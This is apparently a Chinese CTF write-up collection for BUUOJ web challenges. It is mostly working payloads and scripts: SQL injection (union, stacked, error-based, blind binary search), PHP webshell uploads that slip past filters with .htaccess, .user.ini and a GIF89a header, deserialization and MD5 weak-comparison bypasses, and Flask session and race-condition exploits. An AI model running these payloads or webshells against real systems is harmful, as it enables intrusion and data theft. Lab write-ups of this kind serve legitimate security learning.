<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']);
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("后缀名不能有ph！");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
            $content = file_get_contents($uploaded_tmp);
            if(preg_match("/\<\?/i", $content)){
                die("诶，别蒙我啊，这标志明显还是php啊");
            }
            else{
                mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                move_uploaded_file($uploaded_tmp, $t_path);
                echo "{$t_path} succesfully uploaded!";
            }
        }
        else{
            die("上传类型也太露骨了吧！");
        }
    }
}
?>

上传 .htaccess

修改 Content-Type

上传 ba2in9a-asp.avif

ba2in9a=show_source('/flag');

[网鼎杯 2018]Fakebook

dirsearch 扫出了 robots.txt flag.php error.php view.php db.php

robots.txt 提示存在 user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

简单注册登录后发现存在sql注入，扫字典

过滤了 0x7e select union

no=-1%20order%20by%201,2,3,4,5%23

报错存在四列数据

no=-1%20union%20select%201,2,3,4%20%23

no hack ~_~

no=-1%20union/**/select%201,2,3,4%20%23

no=-1%20union/**/select%201,@@version_compile_os,3,4%20%23

Linux

no=-1%20union/**/select%201,version(),3,4%20%23

10.2.26-MariaDB-log

no=-1%20union/**/select%201,user(),3,4%20%23

root@localhost

no=-1%20union/**/select%201,database(),3,4%20%23

fakebook

no=-1%20union/**/select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=database()%20%23

users

no=-1%20union/**/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27users%27%20%23

no,username,passwd,data

no=-1%20union/**/select%201,data,3,4%20from%20users%20%23

O:8:"UserInfo":3:{s:4:"name";s:1:"0";s:3:"age";i:0;s:4:"blog";s:5:"0.com";}

通过伪协议访问 file://var/www/html/flag.php

<?php
class UserInfo
{
    public $name = "0";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";

}
echo serialize(new UserInfo());

O:8:"UserInfo":3:{s:4:"name";s:1:"0";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

no=-1%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"0";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

PD9waHANCg0KJGZsYWcgPSAiZmxhZ3syOTkxM2UxYy0wZDllLTQ2OWEtYTEyNS0xZWZhOGUzMWYxMzF9IjsNCmV4aXQoMCk7DQo=

base64 解码后也会得到相同的内容

<?php

$flag = "flag{29913e1c-0d9e-469a-a125-1efa8e31f131}";
exit(0);

也可以 load_file 直接读取

no=-1 union/**/select 1,group_concat(load_file('/var/www/html/flag.php')),3,4 from users #setDefaults

[CISCN2019 华北赛区 Day2 Web1]Hack World

简单测试

拿字典跑了下

当 id 的值为1或2时会查询到以下结果

id=1 => Hello, glzjin wants a girlfriend.

id=2 => Do you want to be my girlfriend?

当 id 的值为其他数字或 @ 时回显 Error Occured When Fetch Result.

当 id 的值为 or and from like insert delect update select sleep 时回显 bool(false)

当 id 的值为 --+ information information_schema separator floor xor 时回显 SQL Injection Checked.

尝试

id=if(length((select(flag)from(flag)))=42,1,0)

回显 Hello, glzjin wants a girlfriend.

确认 flag 有42个字符

二分法穷举

引用站外链接

python脚本

inanb`s blog

import requests
import time
url = 'http://2bd5e0bf-74ef-4b72-90b8-315541a82d9d.node3.buuoj.cn/'
flag=""
for x in range(1,43):
    l = 32
    r = 126
    while r > l:
        mid = int((l+r+1) / 2)
        x = str(x)
        y = str(mid)
        id = {"id":'if(ascii(substr((select(flag)from(flag)),'+x+',1))>='+y+',1,0)'}
        response = requests.post(url=url,data=id)
        if "Hello" in response.text:
            l = mid
        else:
            r = mid-1
        time.sleep(0.03)
    flag+=(chr(int(r)))
    print(chr(int(r)))
print(flag)

[GYCTF2020]Blacklist

联合注入

-1' or 1=1 order by 3 #

error 1054 : Unknown column '3' in 'order clause'

-1' union select 1,2 #

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

堆叠注入

-1';show tables #

array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}

-1';desc FlagHere #

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

handler查询

但过滤了 set prepare alter rename

改用 HANDLER 语句查询

-1';handler FlagHere open;handler FlagHere read first;handler FlagHere close; #

[GXYCTF2019]BabySQli

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

hint

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

base32 解码

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

base64 解码

select * from user where username = '$name'

试出 username 是 admin

fuzz

过滤了 ( ) = or xor order 等关键字

第二列数据为用户名，第三列数据为 MD5 加密的密码

name=' union select 1,'admin','21232f297a57a5a743894a0e4a801fc3' #&pw=admin

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

is_valid 方法限制字符的ASCII码为32-125，确保为可打印字符，而 protected 属性序列化后在变量名前添加标记\00*\00，\00对应空字符（null）

PHP版本7.1+对属性的类型不敏感，可用 public 属性替换 protected 属性

__destruct 方法需绕过强类型比较使用 op=" 2" 或 op=2 绕过

<?php
 
class FileHandler {
 
    public $op = " 2";
    public  $filename = "flag.php";
    public  $content = "";
}

echo serialize(new FileHandler());
 
?>

?str=O:11:"FileHandler":3:{s:2:"op";s:4:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

[MRCTF2020]Ez_bypass

include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}

数组绕过强类型比较

?id[]=0&gg[]=1

字符串或 %00 绕过 is_numeric

passwd=1234567a

passwd=1234567%00

[MRCTF2020]你传你🐎呢

.htaccess

修改 Content-Type

/var/www/html/upload/315f3ebf1b34561a6edd5834019ba782/.htaccess succesfully uploaded!

一句话

修改 Content-Type

/var/www/html/upload/315f3ebf1b34561a6edd5834019ba782/ba2in9a-php.avif succesfully uploaded!

ba2in9a=var_dump(scandir("/"));

ba2in9a=var_dump(file_get_contents("/flag"));

[极客大挑战 2019]HardSQL

fuzz 过滤了 ! & * + < > = | \\ if and union drop having mid sleep hex char ascii substr greatest 等关键字

报错注入

查看数据库基础信息

'or(updatexml(1,concat(0x7e,version(),0x7e),1))#

XPATH syntax error: ‘~10.3.18-MariaDB~’

'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

XPATH syntax error: ‘~geek~’

查表

'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

XPATH syntax error: ‘~H4rDsq1~’

查字段

'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

XPATH syntax error: ‘~id,username,password~’

查数据

'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

XPATH syntax error: ‘~flag~flag{db016904-4690-4025-94’

注意

updatexml() 仅能显示32个字符，若所需数据超出此长度限制，可结合 right() 使用

'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,30))))from(H4rDsq1)),0x7e),1))#

XPATH syntax error: ‘~4-4690-4025-94c4-f546273a2d1e}~’

[SUCTF 2019]CheckIn

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

.user.ini

auto_prepend_file 主文件前解析后包含

auto_append_file 主文件后解析后包含

exif_imagetype

GIF89a 文件头绕过 exif_imagetype 函数

.user.ini

GIF89a?
auto_append_file=ba2in9a-asp.avif

ba2in9a-asp.avif

GIF89a?
<script language="php">eval($_POST['ba2in9a']);</script>

扫描根目录

ba2in9a=var_dump(scandir("/"));

输出文件内容

ba2in9a=var_dump(file_get_contents("/flag"));

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

data://

使用 data:// 封装协议将所需内容写入 text

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

php://filter

使用 php://filter 封装协议读取 useless.php

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=php://filter/read=convert.base64-encode/resource=useless.php

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

构造序列化

<?php  
class Flag{
    public $file='flag.php';
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
        }  
    }  
}
print_r(serialize(new Flag())); 
?>

序列化

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[BJDCTF2020]Easy MD5

hint

响应头（Response header）存在提示

select * from 'admin' where password=md5($pass,true)

绕过

绕过 md5 函数实现注入

字符串一

ffifdyop

md5 加密

276f722736c95d99e921722cf9ed621c

转字符串

'or'6É]é!r,ùíb  'or'6?]??!r,??b  'or'6ɝ⬹�

与 sql 闭合实现永真

字符串二

129581926211651571912466741651878684928

md5 加密

06da5430449f8f6f23dfc1276f722738

转字符串

ÚT0Do#ßÁ'or'8  ?T0D??o#??'or'8  ڔ0D㟁'or'8

测试未成功

源码

leveldo4.php 源码中也指出 password 是 ffifdyop

<?php
error_reporting(0);
$password = $_GET['password'];

if($password == 'ffifdyop')
{
    echo "<script>window.location.replace('./levels91.php')</script>";
}

?>

弱类型绕过

绕过弱类型比较

levels91.php

<?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    echo "<script>window.location.replace('./levell14.php')</script>";
}
?>

数组绕过

md5 不能处理数组，会直接返回 null, 此时两个数组进行比较时恒等

0e绕过

字符串 md5 加密后以 0e 开头，被当作使用科学计数法的数字进行比较，所以恒等

0e开头字符串

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
IHKFRNS:0e256160682445802696926137988570
GZECLQZ:0e537612333747236407713628225676
GGHMVOE:0e362766013028313274586933780773
GEGHBXL:0e248776895502908863709684713578
EEIZDOI:0e782601363539291779881938479162
DYAXWCA:0e424759758842488633464374063001
DQWRASX:0e742373665639232907775599582643
BRTKUJZ:00e57640477961333848717747276704
ABJIHVY:0e755264355178451322893275696586
aaaXXAYW:0e540853622400160407992788832284
aabg7XSs:0e087386482136013740957780965295
aabC9RqS:0e041022518165728065344349536299
etqaTTFXeujI:0e873986795817250807369213941548
rr6HVrfwfQRK:0e390310578034127565575710199239
94da2KWOk2sD:0e522608713252938409614536178159
LIgjRwsEBV0G:0e476487496670573057723083165712
0Jh28Lv3IQPB:0e552943749576940357419042912841
5lYWomyrSgBi:00e82203671254360601934759406438
af8UF09z8S5B:0e880812032272171076911479094143
z5w4fxbnwoRP:0e676399623216539720736975162129
Ylp5Ocx5YCMV:0e176345976414440291009492284364
fh70QgaGIfYM:0e564472166873750526572156675923
UEaXPm4IIDp3:0e461721121374870411609769578212
suerFfjLQRmk:0e060125509800398574391675067075
0gdVIdSQL8Cm:0e366928091944678781059722345471
XJFYZ1MgeUcb:00e93967150195561843942349513469
wzXzQTGIx9VU:0e296679956971343764470376014802
3lciznK1MgbK:0e247293857347608753400314349379
JlJHHNWI3Oe6:0e027927343820705863215577441770
VW2zJhj2i8HR:0e252975277424098750450405547604
K7sy5q0K1RWS:0e987529109273801660943537750499
6KwzsyoreGnR:0e536008331452600778000468162358
Pz68mMqTxewH:0e883694193916844326948973611295
SJZQeL9hZ5AA:0e424294048497888001893529971403
76AG0EeoTxu3:0e096469501119857795175476384647
GvhhzTLwb98D:0e070302641246420537823173917716
C25B40bwF7oH:0e107651412534430122444310727335
LIkyqkm1p3JR:0e849446873586376930140138357778
1R7jqMIf6T7t:0e381567347928220347073343854712
jDg4hnyPwqal:0e905060392130117790735726467859
f6y7VrJlOBsI:0e914949007364385803648138798605
KXsU0AZ2PtRe:0e448778299130864449509797129898
H0UPp7mFA9SF:0e525419864591945406262998227563
JH4cGnwKzd0y:0e545428394516071575146741684795
MFGELCHzOwZK:0e767295899498195380697332834436
sQcRTBkePLSY:0e576163277785256730155739473379
fQvn3oAoYNfo:0e935872100939536813194636270943
VZQB1k9L5B7d:0eb93088111953185174046674351486
r3VyM4vgXTwp:0e971379756057125072238845041250
Ci85vdBF8fyf:0e183864284211506298675869366648
XgExkg0OSTWh:0eb21820378827332451464430798697
lFl7hFE2fZ89:0e038598152105620891422974861596
qXw0rVneiXQ0:0e894353687104732687786635214136
4Ryf8m1aUuos:0ed28945221302591847978449153264
TMonekAePscz:0ea90264385679456791019887225991
8aNwhejGhaBg:0e439849245165078778802700229873
gfxggQd5tJx3:0e731449381626093091793513404050
RSnakeUecYwT6N2O9g:0e126635149374886577950106830662
RSnakeIeNRSb8KjzTw:0e756073880949659567751252231576
RSnaker4hvtQIOrpOL:0ef65491276193866976262495578569
RSnake4KmfuX8QNCrf:0ea53603712327886946538710356586
RSnakectUSa1OLsZKq:0e249086601945526783602356278673
RSnakeDPoevzFRccil:0e024555713478934332659658118180
RSnakeDIs9W5Hwh4RI:0ed83429501266915038692525714483
RSnake6LuV2EeUCQT9:0e019285890012675326970853669352
RSnakeunZpMM36jWRc:0ef91664263600485432881263069170
RSnakeCN28H7ARqbWo:0eb96344658110042953525224062897
RSnakeeiEfFs2sDvBl:00e49650706719659997081024412456
RSnakeKX0luCScPTlA:0e090929726083772016603384876954
RSnake9YML3vVKDyVM:0e931397641908567179613657463230
RSnakeeDU1jeZP0y6u:0eb41746678067233356940544958830
RSnakeZiHfaf4AjRSu:0e964760122122507558510301894707
RSnake2FSf8M9wewCp:0e663260936156214376380910821202
RSnakeeaQyyx5CdJEL:0ea96476364525234814003638575853
RSnakeTk2IL3bXxrAC:0e853966415201907882218435953878
RSnakeEHcLoKzHpfbZ:0e942355771645636795619261311622
RSnake8GuHGIMTkrTD:0ea70327014428107205836228338816
RSnakejsZODVeHtL8J:0ee95969805366297925576732214029
RSnakeC0830jN1tf7O:0e052566796022527677703658434604
RSnake4DkeFu1e2SWr:0e600123384457131209132592175638
RSnakey6xDdo9q5FGW:0e810763761302115893884702703844
RSnakeKd8uCbfCeQ0o:0e731166959245640967022771564684
RSnake0Tm0M3AishG3:0e463249761046685126659935619668
RSnake51ZgTONSHR2Y:0ed33059556258086974875447876416
RSnakegcJDRRgf0U6m:0ef50854419179481189879935461045
RSnakewVhax4CuZvXf:0e969150246784517533191246408521
RSnakeX7VmFsdfGCeN:0eb39549850075118461895635919058
RSnakeeAkSiKkfjhg5:0e328551463697730337691527967652
RSnakeXAajyRGqsyTV:0e126217242363062792274495713166
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.V;m=*]b?-:00e45653718969294213009554265803
egNJHP66&3E1:00e99757454497342716194968339146
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&rh1ls6cl&G4:00e48890746054592674909531744787
0e215962017:0e291242476940776845150308577824

引用站外链接

字符串汇总

Github

强类型绕过

绕过强类型比较

levell14.php

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

数组绕过

MD5碰撞

引用站外链接

Are there two known strings which have the same MD5 hash value?

StackExhange

站内链接

Collisions for Hash Functions MD4

MD5

这部分我就不尝试了，感兴趣的朋友可以深入研究

[HCTF 2018]admin

hint

首页，change页存在注释

<!-- you are not admin -->

<!-- https://github.com/woadsl1234/hctf_flask/ -->

预期解

unicode同形字

引用站外链接

spotify历史漏洞-Creative usernames and Spotify account hijacking

Spotify

strlower会将大写字母转化为小写

上下标字母会被转化为对应同形字

routes.py登录页/login和改密页/change都会执行strlower

unicode字符标准化时会转变为对应的同形字

利用同形字 ᴬdmin 注册时会执行一次strlower，在/change页更改密码会再次执行strlower

ᴬ -> A -> a

这样就能实现admin登录

引用站外链接

Superscript and Subscript Letters

非预期

flask session伪造

代码解密session

引用站外链接

flask客户端session导致敏感信息泄露

PHITHON`s blog

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

引用站外链接

flask-session-cookie-manager

Github

config.py 中查得 SECRET_KEY=ckj123

试了好几次还是没出，好烦

正常情况

条件竞争

import requests 
import threading
def login(s, username, password): 
    data = {'username': username, 'password':password, 'submit': ''}
    return s.post("http://abb82588-6b5e-444e-8c58-c86ee65d552b.node4.buuoj.cn:81/login", data=data)
def logout(s):
    return s.get("http://abb82588-6b5e-444e-8c58-c86ee65d552b.node4.buuoj.cn:81/logout")
def change(s, newpassword): 
    data = {'newpassword':newpassword }
    return s.post("http://abb82588-6b5e-444e-8c58-c86ee65d552b.node4.buuoj.cn:81/change", data=data)
def func1(s):
    login(s, 'master', 'master') 
    change(s, 'ba2in9a')
def func2(s): 
    logout(s)
    res = login(s, 'admin', 'ba2in9a')
    if '<a href="/index">/index</a>' in res.text:
        print('finish')
def main():
    for i in range(9999):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,)) 
        t2 = threading.Thread(target=func2, args=(s,)) 
        t1.start()
        t2.start()
if __name__ == "__main__": 
    main()

引用站外链接

2018 HCTF Web Writeup

sky`s blog

[极客大挑战 2019]BuyFlag

pay.php

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

You must be a student from CUIT!!!
Only Cuit’s students can buy the FLAG

将 Cookie: user=0 改为 1

you are Cuiter

松散比较

当 password == 404 时密码正确

PHP松散比较绕过

password=404flag

Password Right!
Pay for the flag!!!hacker!!!

科学计数法或数组

Flag need your 100000000 money

money=1000000000

Nember lenth is too long

money=99999999

即当money的值小于100000000时

you have not enough money,loser~

money=1e9 / money[]=1

[护网杯 2018]easy_tornado

hint

/flag.txt

/file?filename=/flag.txt&filehash=e772097775f523d08a70818acbcfa39e

flag in /fllllllllllllag

filename=/fllllllllllllag

/welcome.txt

/file?filename=/welcome.txt&filehash=df5cb6a70865f967cc4f829f0bfdb80f

render

SSTI

轻量级 WEB 框架 Tornado（python）调用 render 方法生成 template

/file?filename=/hints.txt&filehash=4954f0b53a5bcfe596332cc9f4a3c8e7

/hints.txt
md5(cookie_secret+md5(filename))

指出如何生成 filehash 的值

重点在获取 cookie_secret 的值

cookie_secret 是 handler.application.settings 的键值。

handler -> RequestHandler
RequestHandler.settings -> self.application.settings
handler.settings -> handler.application.settings

可以直接通过 handler.settings 访问到 cookie_secret

/error?msg={{handler.settings}}

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'cba73db5-9b2f-4f78-a0c1-577900cda7d6'}

md5 生成 filehash

引用站外链接

Authentication and security

Tornado

引用站外链接

RequestHandler.settings

Tornado

引用站外链接

Template syntax - handler

Tornado

[ACTF2020 新生赛]BackupFile

扫目录

/index.php.bak

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
?>

引用站外链接

PHP松散比较

btwoa

?key=123

[极客大挑战 2019]BabySQL

?username=admin&password=-1' or 1=1 #

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘1=1 #’’ at line 1

过滤了相应关键字，双写可实现绕过

?username=admin&password=-1' oorr 1=1 #

Hello admin！
Your password is ‘b57c0551628355fa5a8a3e247f810f7e’

?username=admin&password=-1' uniunionon selselectect 1,2,3 #

Hello 2！
Your password is ‘3’

?username=admin&password=-1' uniunionon selselectect 1,version(),database() #

Hello 10.3.18-MariaDB！
Your password is ‘geek’

?username=admin&password=-1' uniunionon selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

Hello b4bsql,geekuser！

?username=admin&password=-1' uniunionon selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #

Hello id,username,password！

?username=admin&password=-1' uniunionon selselectect 1,group_concat(id,username,passwoorrd),3 frfromom b4bsql #

Hello 1cl4yi_want_to_play_2077,2sqlsql_injection_is_so_fun,3porndo_you_know_pornhub,4gitgithub_is_different_from_pornhub,5Stopyou_found_flag_so_stop,6badguyi_told_you_to_stop,7hackerhack_by_cl4y,8flagflag{792d2355-89eb-4b4e-b89a-96437b387278}！

[极客大挑战 2019]PHP

扫出来个 www.zip

给了相关源码

/index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

PHP反序列化

/class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

unserialize 会检查是否存在 __wakeup 方法。如果存在，则会先调用 __wakeup 方法，预先准备对象需要的资源

这里需要绕过 __wakeup 方法

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 __wakeup 的执行

引用站外链接

__wakeup()函数漏洞以及实际漏洞分析

Spoock`s blog

Exploit

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
$a = new Name();
echo serialize($a);
?>

序列化

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

Payload

?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

[RoarCTF 2019]Easy Calc

/index.html

$('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })

/calc.php

<?php
error_reporting(0);
